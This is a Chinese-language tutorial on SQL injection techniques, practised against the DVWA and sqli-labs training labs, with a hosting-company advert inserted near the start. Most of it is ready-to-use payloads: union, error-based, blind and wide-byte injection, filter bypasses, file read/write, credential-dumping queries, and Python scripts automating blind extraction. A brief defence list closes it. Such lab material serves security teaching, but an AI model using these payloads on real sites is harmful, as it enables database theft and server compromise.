本篇内容介绍了“SQL注入原理是什么”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!
0x01.SQL注入产生的因素
创新互联公司-专业网站定制、快速模板网站建设、高性价比普陀网站开发、企业建站全套包干低至880元,成熟完善的模板库,直接使用。一站式普陀网站制作公司更省心,省钱,快速模板网站建设找我们,业务覆盖普陀地区。费用合理售后完善,十余年实体公司更值得信赖。
(1)不严格校验(2)恶意修改(3)成功拼接并执行0x02.检测是否存在注入的方法:
1.判断是否有注入(判断是否有未严格校验),什么类型的注入
(1)可控参数的改变能否影响页面显示结果
(2)输入的sql语句是否能报错--能通过数据库的报错,可以看到一些语句痕迹
(3)输入的sql语句能否不报错--语句能够成功闭合
2.语句是否能够被恶意修改
3.是否能否成功执行
0x03.SQL注入类型简述1.布尔查询
or查询:可查到定义表中的字段值2.union查询
(1)猜字段数 (select 1,2,3.... 或者 order by 1,order by 3... 都是看报错)
(2)如何获取库名,表名,字段名
3.information_schema(数据库字典)information_schema这这个数据库中保存了所有数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。再简单点,这台MySQL服务器上,到底有哪些数据库、各个数据库有哪些表,每张表的字段类型是什么,各个数据库要什么权限才能访问,等等信息都保存在information_schema里面。information_schema.schemata中的列schema_name记录了所有数据库的名字information_schema.tables中的列table_schema记录了所有数据库的名字information_schema.tables中的列table_name记录了所有数据库的表的名字information_schema.columns中的列table_schema记录了所有数据库的名字information_schema.columns中的列table_name记录了所有数据库的表的名字information_schema.columns中的列column_name记录了所有数据库的表的列的名字
MySQL版本5.0 以下没有 information_schema 这个系统表,无法列表名等,只能暴力跑表名。
5.0 以下是多用户单操作,5.0 以上是多用户多操做
example: select concat(table_name) from information_schema.tables where table_schema=database()4.手动注入
(1)基于错误的注入:判断注入点?单引号?
(2)基于布尔的注入:闭合前面的sql语句,构造or和and的逻辑语句,-- 用来注释后面所有语句
user():当前用户名 database():当前数据库名 version():数据库版本信息'union select 1,table_schema from information_schema.tables -- hh #查库名'union select 1,table_name from information_shcema.tables where table_schema="..." #查当前库中所有表'union select 1,column_name from information_schema.columns where table_name="..." #查当前表中所有字段#concat实现字段拼接'union select user,concat(first_name,' ',last_name,' ',password) from users -- '#group_concat#concat_ws5.报错注入`(1)extractvalue(xml_document,Xpath_string) 从目标XML中返回包含所查询值的字符串``(2)Updatexml(xml_document,Xpath_string,new_value) 注入报错点在Xpath_string 位置,因此其它位置可以任意处理,譬如写1.`
DVWA Security='low':1' and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)# 0x7e为~的16进制ASCII码1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='dvwa'),0x7e),1)#1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'),0x7e),1)#1' and updatexml(1,concat(0x7e,(select group_concat(user_id,last_name) from users),0x7e),1)#
其中:
XML_document是string格式,为XML文档对象的名称
Xpath_string(Xpath格式的字符串),自主学习。
6.双注入(双查询报错注入,两个select)
原理: 利用group by主键冲突报错获取数据库信息.
几个函数:floor() #向下取整 rand() #返回(0,1)随机值,rand()*2 返回(0,2)随机值 floor(rand()*2) # 向下取整则返回值为0或1. group by #分组 count() #返回当前的表的所有的记录数
举例:
uname=admin' union select 1,count(1) from information_schema.tables group by group_concat( floor(rand()*2),(select table_name from information_schema.tables where table_schema='security' )) %23&passwd=1237.布尔盲注
普通注入不能直接回显错误信息。
和时间盲注相同的是,每次只判断一个字符。?id=1' and substr(database(),1,1)=1 #
示例:
Sqli-labs Less-6
该关卡只有两种返回结果,当查询存在时返回“You are in...”,否则返回为空。
?id=1' and 1=1 --+回显You are in...........
?id=1' and 1=2 --+不回显
根据这种情况,可以由substr()函数每次判断一个字符,python脚本进行布尔盲注,具体如下:import requestss = requests.Session()url = 'http://localhost:8080/sqli-labs/Less-6/'payloads = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz[{\|]}^~_,'data = ''for i in range(50): for j in payloads: payload = f"?id=1\" and substr(binary database(),{i},1)='{j}'%23" #payload = f"?id=1\" and substr((select binary group_concat(table_name) from information_schema.tables where table_schema=database()) ,{i},1)='{j}'%23" #payload = f"?id=1" and substr((select binary group_concat(column_name) from information_schema.columns where table_name='users') ,{i},1)='{j}'%23" #payload = f"?id=1" and substr((select binary group_concat(password,' ') from security.users) ,{i},1)='{j}'%23" if "You are in..........." in s.get(url+payload).text: data += j break print(data)8.时间盲注?id=1' union select(if(substr(database(),1,1))>1,sleep(3),1) #此外还有bench()函数
示例:
Sqli-labs Less-9
此处可以发现无论查询对错都只回显You are in...........
测试?id=1' and sleep(3)%23 页面会延时3秒再回显,判断为时间盲注.
编写脚本进行时间盲注,如下:import requestsurl = 'http://localhost:8080/sqli-labs/Less-9/'payloads = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz[{\|]}^~_,'data = ''for i in range(50): for j in payloads: payload = f"?id=1' and if((substr(binary database(),{i},1)='{j}'),sleep(1),1)%23" #正确的时候等待1秒钟,不正确的时候直接返回 # payload = f"?id=1' and if((substr((select binary group_concat(table_name) from information_schema.tables where table_schema=database()) ,{i},1)='{j}'),sleep(1),1)%23" #payload = f"?id=1' and if((substr((select binary group_concat(column_name) from information_schema.columns where table_name='users') ,{i},1)='{j}'),sleep(1),1)%23" try: r = requests.get(url+payload, timeout=1) except Exception: data += j print(data) break9.cookie注入
注入位置在http请求的cookie处10.HTTP-Referer注入
注入位置在http请求的Referer处11.SQL注入读取文件
Load_file(filename): 读取文件并返回改文件的内容作为一个字符串。
使用条件:
A.必须有权限读取且文件必须完全可读
B.欲读取文件必须在服务器上
C.必须指定文件的完整路径(绝对路径)
D.欲读取文件的大小必须小于max_allowed_packet
示例:
?id=-1' union select 1,2,Load_file("D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-1\\index.php") --+
写文件(into outfile):?id=-1' union select 1,2,3 into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-1\\index.php" --+
示例:
Sqli-labs Less-7
测试发现id=1'报错,但把后面的语句注释掉扔报错,还有括号闭合,发现加两个括号判断为(('$id'))闭合,再根据提示Use outfile…,应该是使用导出语句了。
(1)首先判断是否有权限:?id=1')) and (select count(*) from mysql.user)>0 --+
没有报错,具有root权限。
(2)于是将可以数据导出, 导出所有表:?id=-1')) union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\result.txt" --+
(3)导出user表中所有列名:?id=-1')) union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users') into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\result.txt" --+
(4)导出用户名和密码?id=-1')) union select 1,2,(select group_concat(username,password) from users) into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\result.txt" --+
注意:在Mysql中,需要注意路径转义的问题,即用双斜杠分隔。11.绕过
(1).绕过注释符过滤(#,--+)
示例:Sqli-labs Less-13方法一(报错注入)?id=1' or (extractvalue(1,concat(0x7e,version()))) or '?id=1' or (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))) or '方法二(闭合后面的内容)?id=' union select 1,'...
(2).绕过and-or过滤
01.大小写绕过:or的几种形式(Or,oR,OR,||)and的几种形式(And,...,&&) #对大小写敏感可使用
02.双写绕过?id=1' oorrder by 1 --+判断回显列数也可用:?id=1' union select 1,2,3... #(逐个尝试比较慢)之后使用报错注入即可:?id=-1' oorr extractvalue(1,concat(0x7e,database())) --+ #(获取当前数据库名)或者使用:?id=-1' || extractvalue(1,concat(0x7e,database())) --+(3).绕过空格过滤其他字符代替:%09 TAB 键(水平)%0a 新建一行%0b TAB 键(垂直)%0c 新的一页%0d return 功能%a0 空格/**/ 代替空格?id=1' or (内容) or (内容)' #一种注入的形式
(4).内联注释过滤
形如/*!(关键字)*/
example:/*!and*//*!select*/
(5).特殊字符转义与宽字节注入
特殊字符转义的三种方法:
function check_addslashes($string){ $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash $string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash $string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash return $string;}
(2)调用函数 addslashes()
(3)调用函数 mysql_real_escape_string()
这几种方法都可能被宽字节注入绕过
宽字节注入原理分析:
以单引号'为例,它被转义为',我们的目标是去掉反斜杠,将'逃逸出来。现在我们不输入',而是输入%df',被转义后它变成:%df',也相当于%df%5c%27(%5c表示反斜杠\ ),之后在数据库查询前由于使用了GBK多字节编码,%df%5c会gbk编码转换成为汉字"運",从而使得%27,也就是单引号逃逸。
宽字节注入与普通注入payload上的区别就是:在会被转义的字符前加上%df,''被吃掉,从而使得被转义字符逃逸。当然此处不一定必须是%df,只要(填充的字符+%5c)在GBK编码中,可以使得被转义字符逃逸就行,之后进行后续注入。
示例:Sqli-labs Less-32
payload1:?id=1'
可以看到此处的单引号被转义
payload2:?id=1%df'
根本原因:
character_set_client(客户端的字符集)和 character_set_connection(连接层的字符集)不同,或转换函数如,iconv、mb_convert_encoding 使用不当。
解决方法:
统一数据库、Web 应用、操作系统所使用的字符集,避免解析产生差异,最好都设置为 UTF-8。或对数据进行正确的转义,如 mysql_real_escape_string+mysql_set_charset 的使用。
(6).二次注入
(7).过滤函数绕过0x04.SQL注入防御
(1)代码层01.黑名单02.白名单03.敏感字符过滤04.使用框架安全查询05.规范输出
(2)配置层01.开启GPC02.使用UTF-8
(3)物理层
01.WAF02.数据库审计03.云防护04.IPS(入侵防御系统)01.使用安全的API02.对输入的特殊字符进行Escape转义处理03.使用白名单来规范化输入验证方法04.对客户端输入进行控制,不允许输入SQL注入相关的特殊字符05.服务器端在提交数据库进行SQL查询之前,对特殊字符进行过滤、转义、替换、删除。